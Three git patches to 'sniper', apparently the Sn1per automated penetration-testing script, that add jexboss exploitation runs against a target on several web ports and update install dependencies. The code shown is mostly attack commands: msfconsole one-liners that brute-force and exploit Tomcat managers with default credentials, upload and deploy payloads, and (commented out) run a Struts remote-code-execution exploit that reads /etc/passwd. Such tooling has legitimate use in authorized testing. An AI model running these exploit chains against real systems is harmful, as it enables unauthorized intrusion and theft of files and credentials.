From 141ad2d5d8af8ce3a550bffcc411e2b6b7effcfd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20F=20M=20Figueiredo?= Date: Thu, 28 Jul 2016 23:04:09 -0300 Subject: [PATCH 1/3] Update sniper --- sniper | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/sniper b/sniper index 5640807..1a5dd50 100644 --- a/sniper +++ b/sniper @@ -1036,8 +1036,9 @@ else msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" # EXPERIMENTAL - APACHE STRUTS RCE EXPLOIT # msfconsole -x "use exploit/linux/http/apache_struts_rce_2016-3081; setg RHOSTS "$TARGET"; set PAYLOAD linux/x86/read_file; set PATH /etc/passwd; run;" - python jexboss/jexboss.py http://$TARGET:8080 - python jexboss/jexboss.py https://$TARGET:8080 + python jexboss/jexboss.py -host http://$TARGET:8080 + python jexboss/jexboss.py -host https://$TARGET:8080 + fi if [ -z "$port_8180" ]; From 1b8e03742378b80a583d7948e7df11afe58cc2ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20F=20M=20Figueiredo?= Date: Thu, 28 Jul 2016 23:06:42 -0300 Subject: [PATCH 2/3] Update install.sh --- install.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/install.sh b/install.sh index 9c68c71..75423ab 100644 --- a/install.sh +++ b/install.sh @@ -25,7 +25,7 @@ read answer echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET" apt-get install dos2unix zenmap sslyze joomscan uniscan xprobe2 cutycapt unicornscan waffit host whois arachni theharvester dnsenum dirb dnsrecon curl nmap php5 php5-curl wapiti hydra iceweasel wpscan sqlmap arachni w3af golismero nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb python nbtscan sslscan amap -pip install dnspython colorama tldextract +pip install dnspython colorama tldextract urllib3 ipaddress echo -e "$OKORANGE + -- --=[Installing gem dependencies...$RESET" gem install rake From 3415c7fd81d7e5c41f3a042d5de34648b9962882 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20F=20M=20Figueiredo?= Date: Thu, 28 Jul 2016 23:12:31 -0300 Subject: [PATCH 3/3] Update sniper --- sniper | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sniper b/sniper index 1a5dd50..1446e99 100644 --- a/sniper +++ b/sniper @@ -996,6 +996,8 @@ else cd .. nikto -h http://$TARGET:8000 cutycapt --url=http://$TARGET:8000 --out=loot/$TARGET-port8000.jpg + python jexboss/jexboss.py -host http://$TARGET:8000 + fi if [ -z "$port_8100" ]; @@ -1014,6 +1016,7 @@ else cd .. nikto -h http://$TARGET:8100 cutycapt --url=http://$TARGET:8100 --out=loot/$TARGET-port8100.jpg + python jexboss/jexboss.py -host http://$TARGET:8100 fi if [ -z "$port_8080" ]; @@ -1062,6 +1065,7 @@ else echo -e "$OKGREEN + -- ----------------------------=[Launching Webmin File Disclosure Exploit]= -- +$RESET" echo -e "$OKGREEN + -- ----------------------------=[Launching Tomcat Exploits]=--------------- -- +$RESET" msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" + python jexboss/jexboss.py -host http://$TARGET:8180 fi if [ -z "$port_8443" ]; @@ -1082,6 +1086,7 @@ else nikto -h https://$TARGET:8443 cutycapt --url=https://$TARGET:8443 --out=loot/$TARGET-port8443.jpg nmap -p 8443 -T5 --script=*proxy* $TARGET + python jexboss/jexboss.py -host https://$TARGET:8443 fi if [ -z "$port_8888" ]; @@ -1096,6 +1101,7 @@ else xsstracer $TARGET 8888 nikto -h http://$TARGET:8888 cutycapt --url=https://$TARGET:8888 --out=loot/$TARGET-port8888.jpg + python jexboss/jexboss.py -host http://$TARGET:8888 fi if [ -z "$port_10000" ];